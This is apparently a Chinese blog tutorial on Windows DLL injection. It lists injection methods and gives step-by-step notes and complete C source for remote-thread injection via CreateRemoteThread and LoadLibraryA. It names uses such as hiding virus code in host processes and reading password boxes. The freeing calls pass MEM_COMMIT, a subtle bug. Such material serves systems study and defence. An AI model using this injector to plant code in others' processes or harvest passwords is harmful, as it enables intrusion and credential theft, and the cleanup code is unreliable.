DLL注入是什么?DLL注入是把指定的DLL加载到另一个进程的内存空间中去的技术。
为何要注入DLL?完成一些特殊目的,病毒把恶意代码隐藏在正常的宿主进程中,瞒天过海。或者偷窥密码edit的内容(因为利用Windows消息机制获取不了密码框的内容),或者Hook API拦截对API的调用(比如进程保护不让自己被结束;还有杀软也可以通过这个拦截程序调用API干坏事,充分体现了杀软和病毒是同一种东西)等等。
=================================================
DLL注入技术有很多种,我知道的有:
1。通过远程线程注入(CreateRemoteThread)
2。通过全局消息钩子注入(SetWindowsHookEx)
3。通过注册表注入
4。通过输入法注入
5。驱动注入
6。在启动进程时直接挂起主线程,写入指令后再恢复线程(难度较大)
7。DLL劫持(严格意义上这个不是注入方法)
8。修改PE文件导入表
还有百度到的:
9。使用NtMapViewOfSection注入
10。使用SetThreadContext注入
=================================================
这里主要说一下第一种方法
1。用OpenProcess打开要注入进程的句柄。
2。用VirtualAllocEx在远程进程中申请一段内存,长度为DLL路径长度+1(多出来的一字节用于存放\0)。
3。用WriteProcessMemory将Dll的路径远程写入申请的内存中。
4。用CreateRemoteThread将LoadLibraryA作为线程启动函数,参数为DLL的路径,远程创建线程。
5。用CloseHandle关闭线程句柄。
6。会调用DllMain函数,在这个函数里完成你要做的事,比如偷窥密码edit的内容,或者Hook API了等等
源代码如下:
(注意最好加上Debug权限:http://blog.csdn.net/zuishikonghuan/article/details/47746451)
- BOOL InjectDll(DWORD dwProcessID, char* dllPath){//参数:目标进程ID、DLL路径
- FARPROC FuncAddr = NULL;
- HMODULE hdll = LoadLibrary(TEXT("Kernel32.dll"));//加载DLL
- if (hdll != NULL){
- FuncAddr = GetProcAddress(hdll, "LoadLibraryA");//获取LoadLibraryA函数地址
- if (FuncAddr == NULL)return FALSE;
- }
-
- HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION, FALSE, dwProcessID);//获取进程句柄
- if (hProcess == NULL)return FALSE;
- DWORD dwSize = strlen(dllPath) + 1;
- LPVOID RemoteBuf = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);//远程申请内存
- DWORD dwRealSize;
- if (WriteProcessMemory(hProcess, RemoteBuf, dllPath, dwSize, &dwRealSize))//远程写内存
- {
- DWORD dwThreadId;
- HANDLE hRemoteThread = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)FuncAddr, RemoteBuf, 0, &dwThreadId);//创建远程线程
- if (hRemoteThread == NULL)
- {
- VirtualFreeEx(hProcess, RemoteBuf, dwSize, MEM_COMMIT);
- CloseHandle(hProcess);
- return FALSE;
- }
- //释放资源
- WaitForSingleObject(hRemoteThread, INFINITE);
- CloseHandle(hRemoteThread);
- VirtualFreeEx(hProcess, RemoteBuf, dwSize, MEM_COMMIT);
- CloseHandle(hProcess);
- return TRUE;
- }
- else
- {
- VirtualFreeEx(hProcess, RemoteBuf, dwSize, MEM_COMMIT);
- CloseHandle(hProcess);
- return FALSE;
- }
- }
本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请
点击举报。